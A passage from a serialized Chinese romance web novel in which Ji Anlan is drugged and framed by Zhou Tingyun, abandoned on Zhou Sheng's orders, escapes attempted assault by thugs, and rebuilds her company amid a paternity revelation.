两个人怒气冲冲地瞪着她。
纪安澜面无表情,眼底毫无波澜,背脊挺得笔直,宛如一株迎风而立的寒梅,完全不为所动。
淡然地扫了两人一眼,纪安澜无动于衷。
两人越发气愤,对视一眼,交换了视线,两人决定叫来保安,把纪安澜赶走。
刚打过去电话,保安迅速赶来,将纪安澜团团围住。
继母厉声道:“把她赶走!”
一声令下,一个保安就要对纪安澜动手。
“你们在干什么?”
突然,一道低沉悦耳的男声自背后传来。
众人同时回头,便看见周庭云一身黑色西装,身姿挺拔,笔挺的西裤衬得腿又长又直,脸上挂着标志性的微笑,抬脚走向他们。
目光扫视了一眼周父跟继母,目光落在了纪安澜脸上,眼神几不可察地微微一亮。
“霆云,这个女人要找你!”继母立刻上前,挽住了他的胳膊,仿佛看到了救星。
一听这话,周霆云唇角笑意更甚,眼底闪过一抹兴味。
继母的目光锁定在纪安澜身上,没有注意到他脸色的变化,指着纪安澜大骂:“她就是个不要脸的女人!不仅勾引了周慎,现在还想勾搭你,你可千万不要被她骗了!”
周父冷冷地站在一旁,倒显得气定神闲,他这个儿子他知道,做事向来周全,不像周慎一样胡作非为,绝对不会为纪安澜所骗。
周霆云的目光落在纪安澜身上,语气温和:“纪小姐,你找我有事?”
他完全无视了一旁气得颤抖的继母,还有面色阴沉的周父。
“嗯,关于结婚的事。”
黑白分明的眼眸定定地看着周霆云,纪安澜一脸严肃。
周霆云自然知道纪安澜跟姚姿的关系,唇角一勾,和颜悦色地笑道:“那我们借一步说话。”
说着,对纪安澜做了一个请的手势。
不远处停着一辆黑色的劳斯莱斯,纪安澜顺势走了过去。
一旁的继母脸色一阵青一阵白,恨得牙痒痒,没想到周霆云对纪安澜居然如此温和。
周父更是气得浑身颤抖,他这个引以为傲的儿子,居然也被这个女人勾引了?
“你……”
两人的话还没有说出口,周霆云语气清浅:“爸妈,纪小姐有话要说,我就先失陪了。”
话音刚落,头也不回地转身离开。
两人看着周霆云的背影,气得直跺脚。
仿佛一个巴掌拍在了脸上,火辣辣的疼。
他们本想让保安把纪安澜赶走,没想到却被周霆云客客气气地请上了车,这简直就是当众打他们的脸,两人觉得颜面尽失。
这倒不是最关键的,他们害怕周霆云会跟周慎一样,被纪安澜迷得五迷三倒。
到那时,所有的人都会看他们周家的笑话!
“霆云,你可千万不要被那个女人骗了!”继母扯着嗓子喊着。
砰的一声,车门被关上,隔绝了外面的声音。
车子疾驰在路上。
纪安澜说明了来意:“我跟姚姿的关系想必你也清楚,自从得知你们的婚讯后,还一直没机会看看你们的婚房,我想看看。”
“原来是这样,我知道你们是闺蜜,婚房已经准备好了,现在就带你去看。”
不多时,车子驶进了一栋别墅的院子里。
入目便是北欧式的建筑,气势宏伟,进入大厅,更显得富丽堂皇。
两人一起走进婚房。
周霆云做了一个请的手势,纪安澜先踏进去,周霆云随后走进去。
啪嗒一声,门被关上。
纪安澜的注意力全都在婚房的布置上,没有注意到身后周霆云的动作。
婚房布置精美,简单优雅,又不失温馨,屋顶悬挂着巨大的水晶灯,映照在身上,折射出温暖的光。
一个巨大的落地窗,窗帘随风摇摆,显得清新而又浪漫,风灌在脸上,温柔而又舒服,光影折射在那粉色的床上,更显得温馨。
床的两边摆着两人的婚纱照,照片上的姚姿笑得甜美而
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又充满幸福,周霆云西装革履,英俊潇洒。
两个人看起来十分般配。
纪安澜仔细看了一眼,没有发现有什么不对劲的地方。
看婚房的建造,周霆云是下了功夫的,他想跟姚姿结婚。
可姚姿身上的伤到底是怎么回事?
纪安澜紧皱着眉头,思忖着。
突然,背后传来了周霆云的嗓音:“觉得怎么样?还满意吗?”
思绪回拢,纪安澜勉强勾了勾唇,回过头:“挺好的,想必姚姿会很喜欢。”
视线又在房间里搜寻了一阵,确定没有任何端倪后,纪安澜打算起身离开。
走到门前,却怎么也打不开门。
纪安澜扭头看向周霆云。
他作势走过去,拧了拧门把手,遗憾地说道:“门锁可能坏了,我现在打电话让人来修。”
话音刚落,抬脚走向窗户边,打了个电话。
纪安澜想,偌大的一个别墅,应该很快地就能找到人。
可等了十几分钟,依旧没有人开门的迹象。
纪安澜心下着急,忍不住出声问道:“什么时候能来修?”
“快了,估计在路上吧。”周霆云随口一说。
纪安澜紧皱着眉,脸色难看。
周父跟周慎的继母本就对她心存芥蒂,要是他真跟周霆云孤男寡女共处一室,传出去,不仅会坏了他们两个人的名声,说不定还会影响到姚姿。
不行!
她绝不能跟周霆云共处一室。
纪安澜眼神慌乱,目光看向了落地窗。
这里是二楼,跳下去也摔不死。
纪安澜快步走向落地窗,哗啦一声,扯开了落地窗。
“纪小姐,你干什么?”
看着纪安澜的动作,周霆云不解地皱着眉头。
“等不及了,我直接从这里跳下去!”
话音刚落,纪安澜想要翻上栅栏。
周霆云快步走过去,一把拉住了她的手腕。
纪安澜身子向后倾,踉跄了两步,险些摔倒,周霆云赶紧扶了她一把。
纪安澜向后退了两步,跟他保持距离。
“这里太高了,就算底下是草坪,也有摔伤的可能!再等等,管家马上就到了!”
第125章 他相信他哥
御景豪庭。
周慎挂断电话,面色阴沉。
眼线说,纪安澜去了周家!
他拿起衣服,眼神着急,周身环绕着肃杀之气,打算赶往周家。
刚准备打开车门,又接到了一个电话。
电话那头说,纪安澜没有在周家停留,而是被周霆云带走了。
听到这个结果,周慎悬着的心终于放下。
好在不是跟周父和继母有交集。
想必周霆云应该是帮纪安澜解了围吧?
周慎这样想着,放宽了心,回到了御景豪庭,坐在沙发上,等着纪安澜给他打电话。
可一直等了四五个小时,电话铃声没有响起。
他眉头紧锁,手头上的工作都已经解决完了,纪安澜和周霆云都没有给他打来电话。
这实在是可疑!
难道是出了什么事?
周慎给纪安澜打去电话,却显示关机,无人接听。
他又打电话给周霆云,也是关机。
两个人同时关机,这种概率太小了。
他们两个人一定是出事了!
周慎如离弦的箭,快速冲出房门,开车前往周霆云的婚房。
晚上六点。
周慎的车子停在了别墅前面。
他快步冲进了别墅,一边走一边叫着周霆云和纪安澜的名字。
空荡的客厅里,只有他的回声。
他找了许久,没有看见一个人。
来到二楼的婚房时,发现有一个门打开一条缝。
他鬼使神差地将门打开,抬脚走了进去。
打开卧室房门的刹那,看到面前的那一幕,他面色铁青,瞳孔骤缩,全身的血液仿佛在那一刻凝固了。
只见,粉色的婚床上,纪安澜衣衫凌乱,头发散乱,趴在周霆云的身上,脸紧贴着他的胸膛,脸颊上带着一丝不正常的红晕。
而周霆云上半身没穿衣服,直挺挺地躺在床上,紧闭着双眼,似乎陷入了昏迷。
周慎满脸震惊,不可置信地呆愣在原地,浑身僵直,动弹不得,似乎没有办法相信眼前看到的这一幕。
跌跌撞撞地走上前,骨节分明的手悬浮在半空中,他想将纪安澜从周霆云的身上拉开。
而就在这时,周霆云陡然“醒”了过来。
他眯着眼睛,眼睛里一片迷茫,在看到周慎的刹那,眉头微蹙,又迅速低头看了一眼趴在他身上的纪安澜,脸色大变,眼底划过一抹惊恐。
一把将纪安澜推开,周霆云从床上弹了起来。
他一脸慌乱,看向周慎,开始解释:“不是你看到的这样,你听我说!”
周慎眼神呆滞,目光冰冷,瞅向了他,想听他的解释。
“纪安澜突然找到我,以姚姿闺蜜的身份,说想看看婚房,我知道她们关系好,对她完全没有设防,但一来到婚房,她突然就变了脸,反手锁住了房门!”
周庭云脸色骤变,仿佛遇到了难堪的事。
闻言,周慎眉头微蹙,眼底划过一抹怀疑。
周霆云见周慎不信,音调拔高了些,满脸认真地盯着他。
“我知道你跟她关系好,我也不愿意相信她是那样的女人,可我看到的她,跟你看到的完全不一样,充满了野心,对我百般勾引!”
叹了口气,周霆云继续说道:“她就是想要周家的关系和资源,说是跟谁都是跟,最好两个都要,然后就把我给按倒了……”
这些话就犹如一把淬了毒的**,狠狠地扎进了周慎的心脏。
他踉跄了两步,目光定格在纪安澜身上,凌乱的衣衫,和散乱的头发,宣誓着刚才两个人的火热。
想到纪安澜之前跟他说的话,如今仿佛变成了笑话。
心底翻涌着撕裂般的疼痛,仿佛心脏被人生生剖开,血淋淋的,痛不欲生。
他也不愿意相信纪安澜是这样的人。
若是换做其他人说出这样的话,他肯定不信。
可说这些话的人是周霆云。
从小到大,周霆云从来都没有骗过他,无论什么时候,他永远都是第一个冲出来保护他。
从小时候起,周霆云就像是一道光,在他的生命里,照耀了他每一个前行的路,他是他的救赎。
眼底闪过一抹挣扎。
周慎闭上眼睛,再次睁开时,挣扎褪去,取而代之的是怒火。
紧盯着那张原本令他魂牵梦绕的脸,此刻变得无比陌生。
原来之前纪安澜所有的清冷都是装的。
还说要等到跟江容川彻底离婚后,再跟他在一起。
他居然傻傻地相信了。
他真傻!居然会相信一个捞女的话!
眼睛布满了
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红血丝,眼底翻涌着滔天的怒火,周慎冷冰冰地站在原地,悬浮在半空中的手,无力地垂在了身体两侧,紧握成拳,骨节泛白。
“你别太难过了,她毕竟结过婚,玩得比较花,我对不起你……”
周霆云一副愧疚的模样。
“跟你无关,人我先带走了。”
冷冰冰地丢下这句话。
周慎用床单将纪安澜包裹起来,一把抱起,朝着别墅外面走。
眼见着周慎就要离开,周霆云亦步亦趋地跟着他。
“这件事情一定要保密!绝不能让任何人知道!我和姚姿的婚礼近在眼前,不想因为纪安澜而闹得不愉快。”
“放心。”
薄唇轻启,周慎简单地吐出两个字,快步地离开了别墅。
别墅外面停着他的车。
周慎将人塞在了后座上。
看着纪安澜长发散乱在了座椅上,面色越发的阴沉,仿佛随时都能滴下水来。
漆黑的眸子翻涌着怒意,抬手,砰地一声将车门关上。
这时,身后跑过来一个司机。
“二少爷,大少爷说,让我送你回去。”
闻言,周慎声音低沉,冷得仿佛淬了冰。
“我自己能回去,你把车上的人送到半山别墅就行。”
话音刚落,周慎深深地看了一眼紧闭着的车门,步伐沉重地离开了原地。
司机答应了一声,立刻上了车,车子疾驰在路上。
他并没有按照周慎给的指示,将车子开往半山别墅。
反而是把车子开向了郊外。
车子在郊外异常颠簸,躺在后座上的纪安澜被颠醒了。
扶着发痛的脑袋,坐起身,纪安澜只感觉浑身无力,好像被人殴打了一顿。
眼前一片迷茫,还没有看清楚在哪,车子突然停下,纪安澜被一把拽下车,司机把她甩在了地上。
“你是谁?”纪安澜声音嘶哑,头痛欲裂,眼前一片模糊,“这里是哪?”
“我是周二少爷的人,他吩咐我把你带到这里来,工作完成,走了。”
司机冷哼一声,上了车,驱车离开。
纪安澜挣扎着想从地上爬起,突然,头顶被一片阴影遮挡,一声不怀好意的嗓音响起。
“呦,天上掉下个大美女!这下兄弟们可有得玩了!”
第126章 纪安澜失踪了
“裹着床单出现在荒郊野岭,不会是女鬼吧?”其中一个黄毛小混混淫笑着搓着手。
“女鬼?我还没有上过女鬼呢,我倒想尝尝女鬼的滋味!”另外一个矮胖的混混,吞咽了一下口水。
夜色寂静,周围杂草有半人高,惨淡的月光映照在几人的脸上,光影交错,显得格外的阴森恐怖。
纪安澜心里暗叫不好,脸唰地一下白了。
几个小混混对视了一眼,慢慢朝纪安澜逼近。
纪安澜心一下子提到了嗓子眼,想都没想,从地上爬起,转身就跑。
她身子本就虚弱,腿软得厉害,刚跑了没两步,几个小混混围了上来。
“小美女跑哪去啊?跟哥哥们玩捉迷藏呢?等哥哥们爽完了再陪你玩。”
一个小混混上来就抓着纪安澜的胳膊,生怕她逃跑。
“放开我!”纪安澜嘶哑着嗓音,大声地怒吼着。“救命!救命啊!”
可纪安澜越是挣扎,几个人越是兴奋。
荒无人烟的郊外,谁也听不见她的呼救声。
小混混发出阵阵狂笑,个个搓着手,不怀好意地笑着靠近纪安澜,伸手就要撕扯她身上的床单。
刺啦一声。
床单被撕烂,纪安澜本就衣衫不整,肌肤瞬间暴露在空气里。
几个小混混眼睛瞬间一亮。
“真是极品啊!”
“牡丹花下死,做鬼也风流。我今天就算是死,也要上了她!”
“你别急,我先来!”
他们的声音犹如鬼魅一般,在耳边震耳欲聋。
纪安澜大脑里一片空白,神色慌乱,心一下子沉到了谷底。
以她现在的力量,根本就不是几个小混混的对手,周围又荒无人烟,想要逃跑,几乎没有可能。
周慎为什么让人把她抛弃在这里?
脑海里闪过一个念头,纪安澜闭上眼睛,逼迫自己冷静下来。
再次睁开双眸时,眼底已经一片清明。
她不能放弃!
她想要的东西还都没有拿回来,不能折在这里!
几个小混混扑了上来,纪安澜在强大的求生欲下,不知道哪来的力气,拽着其中一个人的胳膊,用力咬了一口。
一声杀猪般的嚎叫响彻了天际。
趁着其他几个人没有反应过来,纪安澜趁机拔腿就跑。
她用尽全身力气,飞速地奔跑着,呼吸急促,耳边是呼啸而过的风声,心脏仿佛快要跃出胸膛,身体仿佛一片落叶,随时都可能落在地上。
纪安澜不敢有任何懈怠。
身后的脚步声疯狂地追着她,纪安澜心口一紧,加快奔跑的速度。
跑了也不知道多久,却跑到了一个巨大的湖泊前。
前面没有路了!
纪安澜瞳孔骤缩,脸色唰得一下白了,站在湖泊前,大口地喘着粗气,急促地吞咽着口水。
身后的几个小混混追上来,站在纪安澜不远处,怒骂着:“你这个臭**!跑啊,我看你还能跑到哪里去?”
他们的眼睛冒着绿光,虎视眈眈盯着纪安澜。
她知道落入几个小混混的手中是什么样的结局。
与其被他们折辱,倒不如拼死一搏。
纪安澜回头看了一眼湖泊,毫不犹豫,纵身一跃,跳进了冰冷的湖水中。
扑通一声巨响。
冰冷的湖水包裹住她的身子,刺骨的寒冷瞬间遍布四肢百骸。
纪安澜拼命地朝前游着。
岸边的小混混在原地急得团团转,却没有一个人有勇气下湖,湖太深了,一下去可能就小命不保。
“连命都不要了?难道那娘们是个疯子?”
眼见着到手的肥羊飞了,和小混混很不甘心,在岸边一直等着纪安澜上岸。
可是等了半个小时,也没有见到纪安澜上岸。
“该不会**吧?”
“有可能,这湖泊之前淹死过很多人。”
“太可惜了,白瞎了那具好身材。”
几个小混混唉声叹气,又守了10分钟,失去了耐心,悻悻离去。
月光的映照之下,湖面波光粼粼,平静得没有起一丝波澜。
纪安澜失踪了。
失踪了两天,纪氏大乱。
**来执行收款的人上门,催收之前纪安澜与江容川签下的协议款项,再有一天还不上交应付款,就会清算纪氏资产。
公司的员工,个个人心惶惶。
“纪安澜该
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不会跑路了吧?”
“两天没见人了,**上门,估计是卷钱跑路了。”
“那我们怎么办?工资还没发呢,不会就这么打水漂吧?”
“还要钱?赶紧再找个工作吧,要不然就失业了!”
员工们人心涣散,没有了纪安澜,就像是没有了主心骨,他们合计了一番,甚至没有辞职,就离开了纪氏。
只剩下一少数几个中心耿耿的老员工还坚守在岗位,不过他们也都一脸着急。
张萌萌一直给纪安澜打电话,但无论如何都打不通。
她也曾去半山别墅寻找过纪安澜,听说纪安澜两天没回去了,她心一下子跌到了谷底,眼见着公司的员工越来越少,她无力地跌坐在凳子上,眼神空洞,眼底满是慌乱。
这时,**的工作人员敲了敲门。
他们来例行公务,把一份文件甩在了张萌萌面前。
“纪氏集团纪安澜严重拖欠赔偿款项,并且联系不上,明日就是最后期限,若不能及时缴纳,我们将依法对季氏集团的资产进行清算!”
张萌萌紧皱着眉头,焦急地解释:“纪总肯定是遇到了麻烦,他不是那种欠钱不还的人,只要她解决了麻烦,就一定会还清款项!你们能不能再宽限两日?”
她的语气充满了恳求,同时也对纪安澜无比信任。
“没办法宽限,我们也是按规矩办事,明天中午十二点之前,要是交不上款项,那我们就只能依法执行了。”
丢下这句话,工作人员转身离开。
张萌萌面色难看,瘫坐在椅子上,眼睛里充满了担心。
“纪总,你现在在哪?纪氏已经四分五裂了,你要是再不回来,一切全都完了!”
张萌萌尝试联系纪安澜,都无疾而终,反倒是公司的人,走得也差不多了,仿佛只剩下一个空壳。
她在公司呆坐了一晚上,直到第二天十二点点之前,还一直在联系纪安澜,等来的却是**的工作人员。
“由于纪女士拖欠违约款项,现依法对纪氏进行清……”
话还没有说完。
一道清冷的声音自门口传来。
“六个亿!够付违约款项了吧?”
第127章 解散纪氏
门口,纪安澜气喘吁吁,满头大汗,额发贴在脸上,看起来极其狼狈,眼底满是乌青,眸子却亮得惊人。
张萌萌一见纪安澜,瞬间红了眼眶,声音颤抖:“纪总,你终于回来了!”
纪安澜扭头看她,给了她一个安心的眼神。
**工作人员立即上前,要求验资。
纪安澜掏出**递给他:“这里面有6亿多,不仅能够支付款项,剩下的结余可用于结清员工薪资。”
话音刚落,原本打算看完热闹就辞职的员工惊呆了。
他们怎么也没想到,纪安澜竟然真的能拿出6个亿。
“真的假的?该不会是骗我们的吧?”
“不信纪安澜有6个亿!”
“我感觉她要真有这么多钱,早就跑路了。”
员工们议论纷纷,纪安澜冷冰冰地扫了他们一眼,众人没有噤声,他们反正要辞职,压根就没有把纪安澜放在眼里。
**工作人员面无表情地拿着**刷了POS机。
“支付成功!”
一瞬间,鸦雀无声。
所有的人都瞪大眼睛,不可置信地看着纪安澜。
准备辞职的员工也变得犹豫不决。
纪安澜送走了银行工作人员。
她立即召集所有的员工来到大厅。
面无表情地扫视了一圈,声音掷地有声:“自即日起,纪氏集团正式解散,所有员工的薪资和赔偿金,今日内全部结清,若有愿意陪我重新开始的,我很欢迎,若想要走的,立即拿钱离开。”
一听到解散,原本犹豫不决的辞职员工立即下定决心,全都嚷嚷着要辞职。
而原本待在纪氏的老员工,都选择跟着纪安澜。
“纪总,我们相信你!”
张萌萌领着一众老员工站到纪安澜面前,亮晶晶的眸子闪烁着信任的光芒。
纪安澜一脸感动。
终于,纪安澜筛选出20名核心骨干,成了个新的团队。
她注销了纪氏集团,又重新注册了一家名为“蓝禾科技”的小型新公司,专注于AI项目的研发。
公司刚刚起步,纪安澜就拿到了咕咚动漫递来的云果智慧项目邀请函,邀请做AI动漫短剧。
这对于她来说,是一个很大的机遇,必须得牢牢把握。
纪安澜立即召开会议,让手底下的人出企划案。
她刚死里逃生,又连轴转了三天,现在头脑昏沉,浑身无力,必须得好好休息一番。
张萌萌见纪安澜脸色不好,拍着胸脯打保票:“纪总,你放心交给我!一定不会让你失望的,你赶紧去休息吧。”
纪安澜用力点头,转身离开了公司,拖着疲惫的身躯回了半山别墅。
纪安澜感觉浑身的骨头都散了架,她泡在浴缸里,温热的水包裹着身子,却无法驱走她内心的寒意。
之前所经历的一切,现在还充斥在脑海里,她惊魂未定。
如果不是跳湖逃生,她恐怕已经死在那些小混混的手里了。
在冰冷的湖水里浸泡着,她也差点被溺死,好不容易等到那些小混混离开,纪安澜才悄然爬上岸,躺在岸边缓了半天才清醒过来。
一个人在荒山野岭,纪安澜浑身滚烫,烧得几乎失去知觉,她拖着沉重的身子,慢慢摸索找路。
胳膊上和身上全都是被树枝和荆棘划破的伤口,站在镜子前,看着镜中身上狰狞的伤口,漆黑的眸子泛着一抹伤心和不解。
她想不通为什么周慎要害她?
两个人到底有什么深仇大怨,才会令周慎让人把她丢在荒郊野岭?
想到司机的那番话,纪安澜脸色惨白如纸,手指紧握成拳。
她不信周慎会这么害她!
这其中一定有什么误会!
纪安澜买来了新手机,又补了卡。
打开手机的瞬间,收到了彩信,在看到彩信的刹那,纪安澜瞳孔骤缩,眼底满是不可置信。
画面上,她衣衫凌乱,扑在周霆云身上,脸上带着不自然的潮红。
看到这样的画面,谁都能浮想联翩。
这照片是谁拍的?
她跟周霆云?怎么可能?
当天,她找周霆云就是为了找证据,可不知怎么的,门就被反锁了,本想从二楼跳下去,却被周霆云阻止。
等了十几分钟,没有等到管家,纪安澜实在等不及,跨上了栏杆,突然,一只大手从后面捂住了她的嘴。
一
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股浓烈的香气充斥在口鼻间,纪安澜瞬间就失去了意识,迷迷糊糊间,好像看到了周霆云。
当天在房间里只有他们两人,能迷晕她的也只能是周霆云!
他为什么要这么做?
还有这些照片到底是怎么回事?
难道周慎看到这些照片,相信他们两个人之间有不正当的关系?
一想到这里,纪安澜心里升起一丝失落感,赶紧打电话给周慎。
电话一直显示忙音,无人接听。
看来周慎真是恼了她了。
纪安澜心下着急,立刻驱车去了周家,想要见周霆云。
可连敲了好几次门,周家的人都闭门不见。
纪安澜在门口等了几个小时,里面毫无动静。
她无奈之下,又赶往远卓科技,想要见周慎一面。
保安一见到纪安澜,立刻阻止她。
“纪小姐,你不能进去!”
话音刚落,有一个人轻而易举地进入了远卓科技。
看来远卓科技只对她一个人设防。
本以为江容川已经够狠了。
可没有想到周慎的做法更狠。
父亲把她丢在荒郊野岭,害得她差点被小混混欺辱,丢了性命。
眼下,就连解释的机会都不给她。
纪安澜自嘲地笑了笑,失魂落魄地踉跄了两步,眼神空洞。
她本以为遇到了爱情。
可没想到,一觉醒来,天塌了。
纪安澜啊纪安澜,怎么就不长点心呢?男人哪有可以相信的?
可是周慎是拼了命救她的!
纪安澜内心在天人交战,眼神中闪过一抹挣扎。
或许这其中有误会?
她不知道到底该不该相信周慎。
正在她犹豫不决时。
周慎正好从远卓科技走了出来。
四目相对,纪安澜看到周慎的刹那,就像是抓住了最后的救命稻草,狂奔过去,伸手抓住了他的手。
“周慎,你……”
话还没有说出口,周慎幽深的眸子仿佛淬了冰,冷冰冰地盯着她,眼底的寒意快要溢出。
“纪总,找我什么事?”他不动声色地将手抽回,语气冷漠疏离,仿佛在对一个陌生人说话。
第128章 他选择了哥哥
纪总?
周慎对她的称呼又变成了纪总,仿若两人初次见面。
冷风裹挟着寒意吹在脸上,却不及周慎眼底的半分冷意。
手指悬浮在半空中,纪安澜浑身僵直,一句“纪总”让她所有的话都堵在了喉咙里。
盯着面前那张熟悉的脸,纪安澜第一次觉得那么陌生。
前几天,周慎为了她差点丢了命,她刚确定心意,却没想到几天后,竟然被他丢在郊外不管不顾。
委屈和不甘瞬间填满了整个胸膛,嘴唇翕合,盯着那张满是冷峻的脸,喉咙像是堵上了滚烫的沙砾,什么都说不出口。
见纪安澜无话可说,周慎冷冷瞥了她一眼:“这次,你又打算怎么上位?”
冰冷的语气仿佛淬了冰,像是一把刀刃,准地扎进了纪安澜的心脏。
上位?
在他心里,难道她就这么不堪吗?
嘴角噙着一抹冷笑,纪安澜踉跄了两步,大脑里一片空白,感觉眼前的人无比陌生。
看着纪安澜巴掌大的小脸十分憔悴,周慎眸色微暗,眼底闪过一抹挣扎,但很快便被冷漠取代。
“纪总,要是没有其他事,恕不奉陪。”
丢下这句话,抬脚就要走。
“站住!”
看着他的背影,纪安澜叫住了他。
周慎驻足,回眸,冷冰冰开口道:“纪总还有别的事?”
“我们还有账没有算!”
盯着那双如深潭般冰冷的眸子,纪安澜迎着他的视线,梗着脖子回望着他。
锐利的眼眸微眯成一条缝,周慎眼底划过一抹疑惑。
“是你让司机把我带离周家老宅的?”
昏迷前,她明明记得,她跟周霆云在一起,醒来就在郊外了,那司机说是周慎,纪安澜心里是不信的。
想亲口听周慎说出答案。
“是。”
他冷冰冰地吐出一个字,眼底没有一丝温度,表情波澜不惊。
纪安澜心里却翻涌着滔天巨浪,瞳孔骤缩,脸唰的一下变得惨白无比,血色尽失。
垂在身体两侧的手用力攥紧,因用力骨节泛白。
原来,司机说的竟然是真的。
真的是周慎让他把她带到了郊外,任那些小混混欺凌!
在他眼里,她到底算什么?
一个可以随意戏弄的玩意?觉得马上到手了,就能随便丢掉的垃圾?
纪安澜眼睛瞪得浑圆,黑白分明的眸子里闪烁着破碎的光,眼眶一红,泪水在眼眶里打转。
纪安澜强忍着不让泪水砸落,视线模糊地盯着周慎。
她好像从来都没有真正认识过眼前的男人。
“为什么?”
她想了解周慎真实的想法,她压制着内心的情绪,紧咬着下唇。
周慎眉头微蹙,看着纪安澜的反应,眸色越发幽深。
脑海里全都是纪安澜趴在周霆云身上的画面,眼底的挣扎褪去,取而代之的是冷漠。
“你自己做了什么事,你不知道?”
冰冷的语气充满了质问。
一听这话,纪安澜心下了然,掏出手机,翻出那些照片,拿给周慎看。
“你是说这些照片?”
周慎眉心紧拧,不可置信地看着那些照片,当时房间里只有她跟周霆云两个人,这些照片怎么会流出去?
来不及多想,纪安澜冷笑出声,泪水终于夺眶而出。
就为了这些可笑的照片,周慎就让人随意欺凌她?甚至险些要了她的命!
但凡是相信她一点,都会知道她不可能勾引周霆云。
很明显,眼前的男人不信她。
那些装出来的爱意,这一刻显得分文不值。
脑海里两个人的点点滴滴,犹如走马观灯一般播放。
纪安澜脸色越来越难看,她用力擦干泪水,眼底满是失望。
他的沉默印证了她的猜测。
千言万语到嘴边,都被生生地咽了回去。
委屈和痛苦交织,纪安澜感觉心里一阵阵钝痛,盯着那双冷冰冰的眸子,她恨自己不争气,竟到现在还想着两个人之间是否有误会。
周慎喉结滚动了一下,眸色越发幽深,看着纪安澜受伤的神情,眸光微动,转瞬便被霜雪覆盖。
他怎么能怀疑周霆云?
那是他小时候唯一的救赎!
“周慎!”
这时,一道急促的嗓音自不远处传来。
周慎转过头,便看见宋妘妘身
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穿薄外套,怀里抱着一个襁褓,快步奔跑,头发凌乱,面容憔悴,眼底是浓重的黑眼圈。
周慎微微蹙眉,面色一沉,宋妘妘怎么会来这?
等宋妘妘靠近两人时,这才发现纪安澜也在。
纪安澜侧过头去,悄悄擦干眼泪。
宋妘妘张了张嘴,欲言又止。
她不想让纪安澜看到她的窘迫。
听说最近纪安澜跟周慎正打得火热,不过,看两个人如今的情况,似乎正在吵架。
宋妘妘眼底划过一抹算计,立刻从包里掏出来一份文件递给周慎。
“这是亲子鉴定报告,你看一下!”
亲子鉴定报告?
纪安澜心里咯噔一下,目光不由自主地朝着那文件看了一眼。
宋妘妘肚子里的孩子不是江容川的吗?
她为什么要把亲子鉴定报告给周慎看?
目光死死地盯着那份文件,纪安澜瞳孔骤缩,心里产生了一个大胆的猜测。
视线不由自主地朝着宋妘妘怀里的襁褓看了一眼。
难道说,这孩子是……
宋妘妘一直注意着纪安澜的反应,见纪安澜脸色大变,唇角止不住地上扬。
她故意说得虚头巴脑,“江容川已经知道孩子不是他的了,我在江家待不下去,只能来找你了!”
这句话犹如一道惊雷在纪安澜的脑海里炸裂开来。
仿佛印证了她心里的猜测,纪安澜呆愣在原地,久久回不过神来。
宋妘妘肚子里的孩子竟然是周慎的?
怪不得她能跟周家有联系,原来是因为有周慎这层关系。
周慎还有什么事情是瞒着她的?
他已经有了私生子,自然可以不顾她的死活,周慎身边女人那么多,又怎会在意她一个?
一切只不过是她自作多情罢了。
想到这里,纪安澜嘴角噙着一抹自嘲的笑,踉跄地后退了两步,目光在两个人身上来来**,眼底的失望越来越浓。
她转过身快步离开,仿佛要逃离这个让她三观震碎的地方。
脚步声越来越远。
周慎终于掀起眼眸,目光紧盯着纪安澜消失的方向,看着那瘦弱的身影,眸色愈发幽暗。
第129章 她怎么总是瞎了眼
宋妘妘见纪安澜走了,赶紧转头看向周慎。
“你能不能带我去见周霆云?”
急切的嗓音,配上着急的表情,让周慎眼中闪过一抹疑惑。
他打开亲子鉴定报告。
目光落在鉴定结果那一行,瞳孔骤缩,眼神满是错愕。
婴儿跟周霆云的亲权概率为99.999%,两人确认是亲生父子关系!
孩子居然是周霆云的?
她不是一直跟江容川纠缠吗?孩子怎么会是周霆云的?
眼见着周慎震惊,一旁的纪安澜赶紧卖惨。
“我现在没办法了,孩子是早产儿,身体一直不好,需要高额的医药费,江家断了我所有的开销,不肯为这孩子花一分钱,我实在是走投无路了,才想要找他!”
她一把拽住了周慎的手腕,像是抓住了最后的救命稻草。
“你是霆云的弟弟,你肯定有方法见到他的,对不对?这孩子毕竟是周家的血脉,你不能见死不救!”
她的声调越来越高,如泣如诉,满眼希冀地盯着周慎。
周慎不动声色地将手抽回,收敛起脸上震惊的神情,冷冰冰地看着她。
他现在脑海有一些乱,没想到周霆云居然跟宋妘妘有个孩子。
而刚刚,纪安澜似乎误会了孩子是他的。
既然两个人要断绝关系,也没必要解释。
不过,不知怎的,心里仿佛堵了什么东西,难受得厉害。
强压制心里的情绪,周慎冷声道:“先送孩子去医院。”
“那霆云……”
宋妘妘现在最想见的就是周霆云,她迫不及待地问了一句。
“我会叫他过去的。”
话音刚落,目光不由自主地朝着纪安澜消失的方向扫了一眼。
他收回视线,转身带着宋妘妘上了车,车子驶向医院,让孩子回到了新生儿科。
与此同时,纪安澜跌跌撞撞地走在路上,脸色惨白至极,毫无血色。
想到刚才的那一幕,纪安澜到现在都无法相信自己的眼睛。
可事实摆在眼前,让她不得不信。
是周慎亲口承认,是他让司机把她送去郊外的。
婚姻是座坟墓。
不管换成哪个男人都一样。
这一刻,纪安澜对婚姻产生了巨大的恐惧感。
先有江容川,再有周慎。
她怎么总是瞎了眼看上渣男?
纪安澜突然想到了姚姿。
她现在还没有步入婚姻的牢笼,说不定可以悬崖勒马。
一想到那些照片,纪安澜越发觉得心里不安。
当天只有她跟周霆云待同一个房间里。
把她弄晕的人,极大的可能就是周霆云!
虽然没有任何证据证明这一切,但纪安澜不想让姚姿冒这个风险。
算着还有一天就是姚姿和周霆云的婚礼了,纪安澜赶紧联系姚姿见一面。
暮色咖啡厅。
纪安澜如坐针毡,等着姚姿到来。
许久,姚姿的身影才映入眼帘。
纪安澜迫不及待地拉着她坐下。
看着她一脸急切的模样,姚姿笑了笑:“怎么了?如此急切?就这么想见我?”
看她笑得一脸春风得意,纪安澜就知道她现在很幸福。
到嘴边的话,纪安澜却怎么也说不出口了。
一切都是猜测,尽管周霆云的嫌疑很大,她却拿不出任何证据。
看纪安澜脸色难看,一副欲言又止的模样,姚姿眼中划过一抹疑惑。
“你这是怎么了?脸色那么难看?是不是出了什么事?我可是你亲姐妹,有什么事情一定要告诉我,我可以帮你解决!”
这些话犹如一股暖流涌在纪安澜心口。
她不能放任不管!
掀起眼眸,纪安澜眼底一片镇定,眼睛一眨不眨地盯着她,认真地开口道:“你不能嫁给周霆云!”
话一说出口,姚姿的笑容僵硬在脸上,一脸的错愕。
“为什么?”
纪安澜张了张嘴,却说不出个所以然来,她面色难看,吞吞吐吐半天,只说道:“反正你得三思而后行,我觉得周霆云这个人不简单……”
